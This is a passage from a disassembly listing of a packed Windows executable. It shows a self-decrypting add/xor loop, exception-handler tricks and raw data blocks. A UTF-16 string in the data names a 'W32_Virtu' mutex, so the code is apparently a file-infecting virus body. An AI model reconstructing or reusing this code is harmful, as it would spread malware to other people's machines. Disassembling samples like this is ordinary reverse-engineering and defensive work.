add ecx, dword ptr ss:loc_40106D[ebp]
loc_5006A7: ; CODE XREF: sub_5003AC+2F3j
mov dh, 0
test dword ptr [ebp+403431h], 20000h
jnz short loc_5006C9
inc dh
test dword ptr [ebp+403431h], 40000h
jnz short loc_5006C9
mov dh, [ebp+403430h]
loc_5006C9: ; CODE XREF: sub_5003AC+307j
; sub_5003AC+315j
test dword ptr [ebp+403431h], 4000h
jnz short loc_5006E0
loc_5006D5: ; CODE XREF: sub_5003AC+330j
mov al, [edi]
add al, dl
stosb
add dl, dh
loop loc_5006D5
jmp short loc_5006E9
; ---------------------------------------------------------------------------
loc_5006E0: ; CODE XREF: sub_5003AC+327j
; sub_5003AC+33Bj
mov al, [edi]
xor al, dl
stosb
add dl, dh
loop loc_5006E0
loc_5006E9: ; CODE XREF: .RLPack:005003A7j
; sub_5003AC+11j ...
xor edx, edx
mov esp, fs:[edx]
pop dword ptr fs:[edx]
pop eax
sub_5003AC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5006F2 proc near ; CODE XREF: sub_5003AC+11Cp
cmp dword ptr ss:loc_403956[ebp], 0
jz locret_500287
push dword ptr [ebp+403972h]
call dword ptr ss:loc_4035C4[ebp]
loc_50070B: ; CODE XREF: sub_5001B6+C5j
push dword ptr [ebp+40396Eh]
call dword ptr ss:loc_40353C[ebp]
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push dword ptr ss:loc_403956[ebp]
call dword ptr [ebp+4035B8h]
loc_500733: ; CODE XREF: sub_5001B6+6Bj
; sub_5001B6+82j ...
push dword ptr ss:loc_403956[ebp]
call dword ptr ss:loc_40353C[ebp]
loc_50073F: ; CODE XREF: sub_5001B6+45j
lea esi, [ebp+40384Eh]
push dword ptr [ebp+403952h]
push esi
call dword ptr [ebp+4035B4h]
and dword ptr ss:loc_403956[ebp], 0
retn
sub_5006F2 endp
; ---------------------------------------------------------------------------
dw 0E8h
dd 5D000000h, 0ED81016Ah, 403349h, 0C10FF058h, 40158085h
dd 0C3C08500h, 0F0FFC883h, 8085C10Fh, 0C3004015h, 2A00103Dh
dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh
dd 0FFFB7EE8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h
dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 40384EB5h
dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
dd 0FF505200h, 4035F895h, 8C48300h, 3F5C3E81h, 3755C3Fh
dd 0E804C683h, 0FFFFFB2Bh, 0FFFF7FE8h, 0B8C361FFh, 74h
dd 2FB8B1EBh, 0E8000000h, 10h, 0B80020C2h, 30h, 3E8h, 24C200h
dd 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h, 1A8B5D30h
dd 3413ED81h, 39E80040h, 61FFFFE5h, 10004C2h, 7060203h
dd 724DB505h, 0FF052273h, 119415h, 9001h, 3Fh dup(0)
dd 9B470000h, 8AD7C80h, 3317C83h, 0ADA07C91h, 7C80h, 2 dup(0)
dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h, 42C7C80h
dd 6377C81h, 4B0F7C81h, 0C0587C86h, 0E7EC7C80h, 153C7C80h
dd 0A777C81h, 1C457C81h, 0B6A17C83h, 8FF7C80h, 5DCA7C86h
dd 11DA7C83h, 2ADE7C81h, 1D777C81h, 0B9057C80h, 0BB767C80h
dd 9E17C80h, 3DE57C83h, 3F587C86h, 27827C86h, 1CB87C81h
dd 24427C83h, 0B1C7C80h, 0B9747C81h, 9A517C80h, 0D877C80h
dd 0D4607C81h, 0D6827C90h, 0D7547C90h, 0D7697C90h, 0D7937C90h
dd 0DC557C90h, 0DCFD7C90h, 0DD907C90h, 0DEB67C90h, 0EA327C90h
dd 30C67C90h, 7C91h, 14h dup(0)
dd 380036h, 500A6Ch, 42005Ch, 730061h, 4E0065h, 6D0061h
dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h
dd 5F0032h, 690056h, 740072h, 75h, 0BCh dup(0)
dd 69h, 0Ch dup(0)
dd 7FFD6000h, 116Eh dup(0)
db 0
_RLPack ends
; Section 3. (virtual address 00106000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00105400
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 506000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start